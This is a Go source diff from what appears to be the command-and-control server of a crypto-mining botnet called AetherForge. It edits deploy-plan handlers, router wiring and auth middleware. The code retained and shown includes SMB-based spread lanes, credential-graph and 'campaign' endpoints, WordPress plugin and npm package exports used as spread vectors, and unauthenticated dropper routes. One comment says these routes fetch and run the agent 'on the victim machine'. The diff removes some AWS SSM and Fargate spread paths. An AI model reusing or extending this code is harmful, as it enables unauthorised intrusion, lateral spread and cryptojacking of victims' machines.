"crypto/hmac"
|
||||||
"crypto/sha256"
|
"crypto/sha256"
|
||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
@@ -14,7 +13,6 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
dbpkg "crypto-miner-server/internal/db"
|
dbpkg "crypto-miner-server/internal/db"
|
||||||
"crypto-miner-server/internal/cloudmap"
|
|
||||||
"crypto-miner-server/internal/erasure"
|
"crypto-miner-server/internal/erasure"
|
||||||
"crypto-miner-server/internal/models"
|
"crypto-miner-server/internal/models"
|
||||||
"crypto-miner-server/internal/spreadrouter"
|
"crypto-miner-server/internal/spreadrouter"
|
||||||
@@ -74,7 +72,6 @@ type DeployPlanBody struct {
|
|||||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||||
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
||||||
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
|
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
|
||||||
SSMDocument string `json:"ssm_document,omitempty"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type deployPlanRequest struct {
|
type deployPlanRequest struct {
|
||||||
@@ -105,10 +102,8 @@ type DeployPlanHandler struct {
|
|||||||
fleetSecret func() string
|
fleetSecret func() string
|
||||||
allowlist func() map[string]ServiceDeployLane
|
allowlist func() map[string]ServiceDeployLane
|
||||||
pathTracer *PathTracerHandler
|
pathTracer *PathTracerHandler
|
||||||
erasureEnabled func() bool
|
erasureEnabled func() bool
|
||||||
erasureShards *erasure.ShardStore
|
erasureShards *erasure.ShardStore
|
||||||
awsSwarmSettings func() erasure.AWSSwarmSettings
|
|
||||||
awsShardStore func(erasure.AWSSwarmSettings) erasure.ShardObjectStore
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
|
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
|
||||||
@@ -142,11 +137,6 @@ func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardS
|
|||||||
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
|
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *DeployPlanHandler) BindAWSErasureSwarm(settings func() erasure.AWSSwarmSettings, store func(erasure.AWSSwarmSettings) erasure.ShardObjectStore) {
|
|
||||||
h.awsSwarmSettings = settings
|
|
||||||
h.awsShardStore = store
|
|
||||||
}
|
|
||||||
|
|
||||||
// POST /api/v1/agent/deploy-plan
|
// POST /api/v1/agent/deploy-plan
|
||||||
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
|
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
|
||||||
var req deployPlanRequest
|
var req deployPlanRequest
|
||||||
@@ -268,17 +258,10 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
|||||||
case "spread_smb_unc":
|
case "spread_smb_unc":
|
||||||
body.UNCPath = strings.TrimSpace(req.UNCPath)
|
body.UNCPath = strings.TrimSpace(req.UNCPath)
|
||||||
body.MaxHosts = 64
|
body.MaxHosts = 64
|
||||||
case "ssm_document":
|
|
||||||
bundle, err := h.buildSSMSpreadBundle(req, serverURL)
|
|
||||||
if err != nil {
|
|
||||||
return DeployPlanBody{}, err
|
|
||||||
}
|
|
||||||
body.SSMDocument = bundle.Document
|
|
||||||
default:
|
default:
|
||||||
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
|
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
|
||||||
}
|
}
|
||||||
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
|
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
|
||||||
h.attachCloudMapRouteVia(&body)
|
|
||||||
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
|
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
|
||||||
return DeployPlanBody{}, err
|
return DeployPlanBody{}, err
|
||||||
}
|
}
|
||||||
@@ -331,41 +314,12 @@ func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL s
|
|||||||
if body.SpreadRouteHint != nil {
|
if body.SpreadRouteHint != nil {
|
||||||
body.SpreadRouteHint.ErasureLanesEnabled = true
|
body.SpreadRouteHint.ErasureLanesEnabled = true
|
||||||
}
|
}
|
||||||
shards := shardsFromStore(h.erasureShards, plan.ShardToken)
|
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
|
||||||
hashes := erasure.ShardContentHashes(shards)
|
if body.SpreadRouteHint == nil {
|
||||||
if h.awsSwarmSettings != nil && h.awsShardStore != nil {
|
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
||||||
cfg := h.awsSwarmSettings()
|
|
||||||
if cfg.Enabled() && cfg.CredentialsReady() && cfg.SigningReady() {
|
|
||||||
result, err := erasure.AttachS3Swarm(context.Background(), cfg, h.awsShardStore(cfg), plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, shards, hashes)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if result != nil {
|
|
||||||
for i := range plan.Shards {
|
|
||||||
if i < len(result.EdgeURLs) {
|
|
||||||
plan.Shards[i].EdgeURL = result.EdgeURLs[i]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if body.SpreadRouteHint == nil {
|
|
||||||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
|
||||||
}
|
|
||||||
body.SpreadRouteHint.SwarmMagnet = result.SwarmMagnet
|
|
||||||
body.SpreadRouteHint.ShardManifestURLs = result.ShardManifestURLs
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if body.SpreadRouteHint == nil || body.SpreadRouteHint.SwarmMagnet == "" {
|
|
||||||
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, hashes); err == nil && manifest != nil {
|
|
||||||
if body.SpreadRouteHint == nil {
|
|
||||||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
|
||||||
}
|
|
||||||
if body.SpreadRouteHint.SwarmMagnet == "" {
|
|
||||||
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
|
|
||||||
}
|
|
||||||
if len(body.SpreadRouteHint.ShardManifestURLs) == 0 {
|
|
||||||
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
|
||||||
|
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -845,49 +799,3 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
|
|||||||
expected := hex.EncodeToString(mac.Sum(nil))
|
expected := hex.EncodeToString(mac.Sum(nil))
|
||||||
return hmac.Equal([]byte(expected), []byte(signature))
|
return hmac.Equal([]byte(expected), []byte(signature))
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) {
|
|
||||||
namespace = "prod.local"
|
|
||||||
service = "seeder"
|
|
||||||
if h.dataDir == "" {
|
|
||||||
return namespace, service
|
|
||||||
}
|
|
||||||
cfgPath := filepath.Join(h.dataDir, "config.json")
|
|
||||||
data, err := os.ReadFile(cfgPath)
|
|
||||||
if err != nil {
|
|
||||||
return namespace, service
|
|
||||||
}
|
|
||||||
var payload struct {
|
|
||||||
Server struct {
|
|
||||||
CloudMapNamespace string `json:"cloud_map_namespace"`
|
|
||||||
CloudMapService string `json:"cloud_map_service"`
|
|
||||||
} `json:"server"`
|
|
||||||
}
|
|
||||||
if json.Unmarshal(data, &payload) != nil {
|
|
||||||
return namespace, service
|
|
||||||
}
|
|
||||||
if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" {
|
|
||||||
namespace = ns
|
|
||||||
}
|
|
||||||
if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" {
|
|
||||||
service = svc
|
|
||||||
}
|
|
||||||
return namespace, service
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) {
|
|
||||||
if body == nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
ns, svc := h.cloudMapSettings()
|
|
||||||
routeVia := cloudmap.SeederDNSName(svc, ns)
|
|
||||||
if routeVia == "" {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if body.SpreadRouteHint == nil {
|
|
||||||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
|
||||||
}
|
|
||||||
if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" {
|
|
||||||
body.SpreadRouteHint.RouteVia = routeVia
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -93,7 +93,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
|||||||
|
|
||||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||||
fleetAIHandler := NewFleetAIHandler(cfg, database)
|
fleetAIHandler := NewFleetAIHandler(cfg, database)
|
||||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||||
}
|
}
|
||||||
|
|
||||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||||
@@ -170,7 +170,7 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub
|
|||||||
|
|
||||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||||
fleetAIHandler := NewFleetAIHandler(cfg, database)
|
fleetAIHandler := NewFleetAIHandler(cfg, database)
|
||||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||||
}
|
}
|
||||||
|
|
||||||
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {
|
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// authSessionCache avoids running bcrypt on every API request.
|
// authSessionCache avoids running bcrypt on every API request.
|
||||||
// Key: SHA-256(user+":"+password) hex ? value: expiry time.
|
// Key: SHA-256(user+":"+password) hex — value: expiry time.
|
||||||
// Entries are valid for authCacheTTL after the last successful login.
|
// Entries are valid for authCacheTTL after the last successful login.
|
||||||
// Bcrypt only runs on cache miss or expiry.
|
// Bcrypt only runs on cache miss or expiry.
|
||||||
var (
|
var (
|
||||||
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
|
|||||||
|
|
||||||
func formatLoginBanner(creds map[string]string) string {
|
func formatLoginBanner(creds map[string]string) string {
|
||||||
var b strings.Builder
|
var b strings.Builder
|
||||||
b.WriteString("\n????????????????????????????????????????????????????\n")
|
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
|
||||||
b.WriteString("? AetherForge ? Dashboard Login ?\n")
|
b.WriteString("║ AetherForge — Dashboard Login ║\n")
|
||||||
b.WriteString("? ?\n")
|
b.WriteString("║ ║\n")
|
||||||
users := make([]string, 0, len(creds))
|
users := make([]string, 0, len(creds))
|
||||||
for user := range creds {
|
for user := range creds {
|
||||||
users = append(users, user)
|
users = append(users, user)
|
||||||
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
|
|||||||
sort.Strings(users)
|
sort.Strings(users)
|
||||||
for _, user := range users {
|
for _, user := range users {
|
||||||
pass := creds[user]
|
pass := creds[user]
|
||||||
fmt.Fprintf(&b, "? Username : %-34s?\n", user)
|
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
|
||||||
fmt.Fprintf(&b, "? Password : %-34s?\n", pass)
|
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
|
||||||
b.WriteString("? ?\n")
|
b.WriteString("║ ║\n")
|
||||||
}
|
}
|
||||||
b.WriteString("? Also saved in data/login-credentials.json ?\n")
|
b.WriteString("║ Also saved in data/login-credentials.json ║\n")
|
||||||
b.WriteString("? Change passwords in Calibrate ? Users. ?\n")
|
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
||||||
b.WriteString("????????????????????????????????????????????????????\n")
|
b.WriteString("╚══════════════════════════════════════════════════╝\n")
|
||||||
return b.String()
|
return b.String()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
|
|||||||
|
|
||||||
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
||||||
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
||||||
// must not trigger that ? only bare browser navigations without these headers should.
|
// must not trigger that — only bare browser navigations without these headers should.
|
||||||
func isSPAAuthRequest(r *http.Request) bool {
|
func isSPAAuthRequest(r *http.Request) bool {
|
||||||
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
||||||
}
|
}
|
||||||
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
path := r.URL.Path
|
path := r.URL.Path
|
||||||
|
|
||||||
// Health check and one-liner installer endpoints are always open.
|
// Health check and one-liner installer endpoints are always open.
|
||||||
// NOTE: build download/artifact routes are intentionally NOT in this list ?
|
// NOTE: build download/artifact routes are intentionally NOT in this list —
|
||||||
// they require fleet-secret or Basic Auth (see isDownload block below).
|
// they require fleet-secret or Basic Auth (see isDownload block below).
|
||||||
if path == "/api/v1/health" ||
|
if path == "/api/v1/health" ||
|
||||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
||||||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
||||||
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
||||||
// legitimately forged agents can call these endpoints.
|
// legitimately forged agents can call these endpoints.
|
||||||
// A missing or empty fleet secret is always rejected ? the server auto-
|
// A missing or empty fleet secret is always rejected — the server auto-
|
||||||
// generates one at startup so this state should never occur in production.
|
// generates one at startup so this state should never occur in production.
|
||||||
if strings.HasPrefix(path, "/api/v1/agent/") {
|
if strings.HasPrefix(path, "/api/v1/agent/") {
|
||||||
fleetSecretForAgentPathsMu.RLock()
|
fleetSecretForAgentPathsMu.RLock()
|
||||||
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// Fast path ? skip bcrypt if this credential pair was recently validated.
|
// Fast path — skip bcrypt if this credential pair was recently validated.
|
||||||
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
||||||
if !authCacheHit(user, pass) {
|
if !authCacheHit(user, pass) {
|
||||||
usersMu.RLock()
|
usersMu.RLock()
|
||||||
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
// Credential verified ? cache it for the next few minutes.
|
// Credential verified — cache it for the next few minutes.
|
||||||
authCacheSet(user, pass)
|
authCacheSet(user, pass)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, erasureSwarmHandler *ErasureSwarmHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
||||||
ensureUsersLoaded(dataDir)
|
ensureUsersLoaded(dataDir)
|
||||||
|
|
||||||
version := "AetherForge"
|
version := "AetherForge"
|
||||||
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
AllowCredentials: false,
|
AllowCredentials: false,
|
||||||
}))
|
}))
|
||||||
|
|
||||||
// REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open)
|
// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
|
||||||
r.Route("/api/v1", func(r chi.Router) {
|
r.Route("/api/v1", func(r chi.Router) {
|
||||||
r.Use(basicAuthMiddleware)
|
r.Use(basicAuthMiddleware)
|
||||||
h := NewHandler(database)
|
h := NewHandler(database)
|
||||||
@@ -639,10 +639,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
// Config
|
// Config
|
||||||
r.Get("/config", configHandler.ServeHTTP)
|
r.Get("/config", configHandler.ServeHTTP)
|
||||||
r.Put("/config", configHandler.ServeHTTP)
|
r.Put("/config", configHandler.ServeHTTP)
|
||||||
if erasureSwarmHandler != nil {
|
|
||||||
r.Post("/erasure-swarm/test", erasureSwarmHandler.PostTest)
|
|
||||||
r.Get("/erasure-swarm/policy-json", erasureSwarmHandler.GetPolicyJSON)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Builder
|
// Builder
|
||||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||||
@@ -652,18 +648,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
|
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
|
||||||
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
|
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
|
||||||
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
|
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
|
||||||
r.Post("/builder/cloud-template-export", spreadHandler.ExportCloudTemplate)
|
|
||||||
r.Post("/builder/cloud-connection-test", spreadHandler.TestCloudConnection)
|
|
||||||
r.Post("/builder/fargate-burst-export", spreadHandler.ExportFargateBurst)
|
|
||||||
r.Get("/emberwake/notes", spreadHandler.GetNotes)
|
r.Get("/emberwake/notes", spreadHandler.GetNotes)
|
||||||
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
||||||
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
||||||
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
||||||
r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate)
|
|
||||||
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
||||||
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
||||||
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
|
|
||||||
r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
|
|
||||||
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
||||||
}
|
}
|
||||||
if wsHub != nil {
|
if wsHub != nil {
|
||||||
@@ -690,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
||||||
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
||||||
|
|
||||||
// Fleet secret rotation ? generates a new secret, saves config, kicks all agents.
|
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
|
||||||
// Forged agents with the old secret will be rejected until re-forged.
|
// Forged agents with the old secret will be rejected until re-forged.
|
||||||
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
||||||
if rotateSecretFn == nil {
|
if rotateSecretFn == nil {
|
||||||
@@ -744,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
writeJSON(w, map[string]interface{}{"success": true})
|
writeJSON(w, map[string]interface{}{"success": true})
|
||||||
})
|
})
|
||||||
|
|
||||||
// Deck backup ? authenticated full backup ZIP (config + DB + users)
|
// Deck backup — authenticated full backup ZIP (config + DB + users)
|
||||||
backupH := NewBackupHandler(dataDir, version)
|
backupH := NewBackupHandler(dataDir, version)
|
||||||
r.Get("/backup", backupH.ServeHTTP)
|
r.Get("/backup", backupH.ServeHTTP)
|
||||||
|
|
||||||
// Path Tracer ? on-demand WireGuard chain sessions
|
// Path Tracer — on-demand WireGuard chain sessions
|
||||||
if pathTracerHandler != nil {
|
if pathTracerHandler != nil {
|
||||||
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
||||||
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
||||||
@@ -761,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header).
|
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
||||||
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
||||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||||
r.Post("/agent/report", aiHandler.HandleReport)
|
r.Post("/agent/report", aiHandler.HandleReport)
|
||||||
@@ -778,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
}
|
}
|
||||||
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
||||||
|
|
||||||
// Public builds (also bypass auth in middleware ? listed here for chi routing)
|
// Public builds (also bypass auth in middleware — listed here for chi routing)
|
||||||
if publicHandler != nil {
|
if publicHandler != nil {
|
||||||
r.Get("/public/builds", publicHandler.ListBuilds)
|
r.Get("/public/builds", publicHandler.ListBuilds)
|
||||||
r.Get("/public/download/{id}", publicHandler.Download)
|
r.Get("/public/download/{id}", publicHandler.Download)
|
||||||
@@ -787,12 +777,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
|
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
|
||||||
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
|
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
|
||||||
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
||||||
r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
|
|
||||||
}
|
|
||||||
if spreadHandler != nil {
|
|
||||||
r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition)
|
|
||||||
r.Get("/public/fargate-burst/run-task.sh", spreadHandler.FargateBurstRunScript)
|
|
||||||
r.Get("/public/fargate-burst/bundle.zip", spreadHandler.FargateBurstBundleZip)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -800,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
||||||
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
||||||
|
|
||||||
// One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate)
|
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
||||||
if dropperHandler != nil {
|
if dropperHandler != nil {
|
||||||
r.Get("/get", dropperHandler.ServeGet)
|
r.Get("/get", dropperHandler.ServeGet)
|
||||||
r.Get("/install.sh", dropperHandler.ServeSh)
|
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||||
@@ -808,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/install.command", dropperHandler.ServeCommand)
|
r.Get("/install.command", dropperHandler.ServeCommand)
|
||||||
}
|
}
|
||||||
|
|
||||||
// SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts
|
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
|
||||||
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
||||||
// Unauthenticated (the drop URL itself is the secret).
|
// Unauthenticated (the drop URL itself is the secret).
|
||||||
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
||||||
@@ -913,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
|
|||||||
// exe so it works both from the USB bundle and from a compiled dev build.
|
// exe so it works both from the USB bundle and from a compiled dev build.
|
||||||
//
|
//
|
||||||
// Filename convention (same as what the build pipeline produces):
|
// Filename convention (same as what the build pipeline produces):
|
||||||
// - windows ? crypto-miner-agent.exe
|
